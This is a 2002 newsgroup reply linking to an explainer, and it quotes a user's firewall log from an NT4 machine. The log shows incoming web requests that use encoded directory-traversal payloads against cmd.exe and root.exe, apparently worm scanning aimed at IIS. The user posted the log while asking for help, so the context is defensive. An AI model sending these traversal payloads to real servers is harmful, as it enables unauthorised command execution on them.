Re: Can someone tell me what this is exactly?

From: John Cesta (lists@lookwww.com)
Date: 03/13/02


From: John Cesta <lists@lookwww.com>
Date: Wed, 13 Mar 2002 18:36:04 GMT


Read this:

http://www.serverautomationtools.com/webcgi/webbatch.exe?techsupt/tsleft.web+MS-Security-Virus-Hacks-links+Do-your-logfiles-contain-this.html

John Cesta

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On Wed, 13 Mar 2002 15:07:52 +1100, sg1 <news@nospam.com> wrote:

>Every time I connect to the net with my nt4 ws box I am bombarded with
>scans and portmaps, most of which are inconsequential.
>But port 80 connections seem to get through. This is a concern. Here is
>a sample of the logs.
>
>
>[01/16/2002 10:01:45.483 GMT+1100] Connection: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:01:46.765 GMT+1100] Disconnect: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:09:56.670 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:09:56.770 GMT+1100] GET /scripts/root.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:11:25.447 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:11:26.419 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:11:26.529 GMT+1100] GET /MSADC/root.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:12:56.218 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:12:57.189 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:12:57.389 GMT+1100] GET /c/winnt/system32/cmd.exe?/c+dir
>HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:14:26.938 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:14:27.930 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:14:28.070 GMT+1100] GET /d/winnt/system32/cmd.exe?/c+dir
>HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:15:57.679 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:15:58.770 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:15:59.001 GMT+1100] GET
>/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:17:28.459 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:17:29.701 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:17:30.672 GMT+1100] GET
>/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
>HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:19:01.693 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:19:03.015 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:19:03.105 GMT+1100] GET
>/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
>HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:20:32.464 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:20:33.465 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:20:34.346 GMT+1100] GET
>/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
>HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:22:04.857 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:22:07.130 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:22:07.220 GMT+1100] GET
>/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:22:15.151 GMT+1100] Connection: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:22:15.232 GMT+1100] GET /scripts/root.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:23:35.647 GMT+1100] Disconnect: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:23:36.669 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:23:36.749 GMT+1100] GET
>/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:23:44.890 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:23:46.152 GMT+1100] Connection: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:23:46.252 GMT+1100] GET /MSADC/root.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:25:06.448 GMT+1100] Disconnect: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:25:07.469 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:25:07.559 GMT+1100] GET
>/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:25:16.112 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:25:20.378 GMT+1100] Connection: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:25:20.508 GMT+1100] GET /c/winnt/system32/cmd.exe?/c+dir
>HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:26:37.188 GMT+1100] Disconnect: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:26:38.210 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:26:38.290 GMT+1100] GET
>/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:26:50.127 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:26:51.819 GMT+1100] Connection: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:26:52.190 GMT+1100] GET /d/winnt/system32/cmd.exe?/c+dir
>HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:28:07.939 GMT+1100] Disconnect: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:28:08.890 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:28:09.060 GMT+1100] GET
>/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:28:22.99 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:28:23.812 GMT+1100] Connection: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:28:23.882 GMT+1100] GET
>/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:29:38.689 GMT+1100] Disconnect: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:29:39.711 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:29:39.821 GMT+1100] GET
>/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:29:54.242 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:29:55.864 GMT+1100] Connection: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:29:55.954 GMT+1100] GET
>/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
>HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:31:09.490 GMT+1100] Disconnect: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:31:10.361 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:31:10.441 GMT+1100] GET
>/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:31:25.503 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:31:29.879 GMT+1100] Connection: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:31:29.999 GMT+1100] GET
>/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
>HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:32:40.170 GMT+1100] Disconnect: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:32:41.111 GMT+1100] Connection: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:32:41.202 GMT+1100] GET
>/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>Host: www
>Connnection: close
>
>
>[01/16/2002 10:32:59.197 GMT+1100] Disconnect: kookminpc.com
>(203.234.206.7) on port 80 (tcp).
>[01/16/2002 10:33:04.705 GMT+1100] Connection: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:33:04.806 GMT+1100] Disconnect: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>[01/16/2002 10:34:10.931 GMT+1100] Disconnect: p94-tnt1.brs.ihug.com.au
>(203.173.188.94) on port 80 (tcp).
>
>This is just a half hours worth of logs, but you can see that once
>connected they are actually executing commands.
>
>Any help interpreting this or advice would be appreciated.
>AdvThanksAnce,
>
>Sg1



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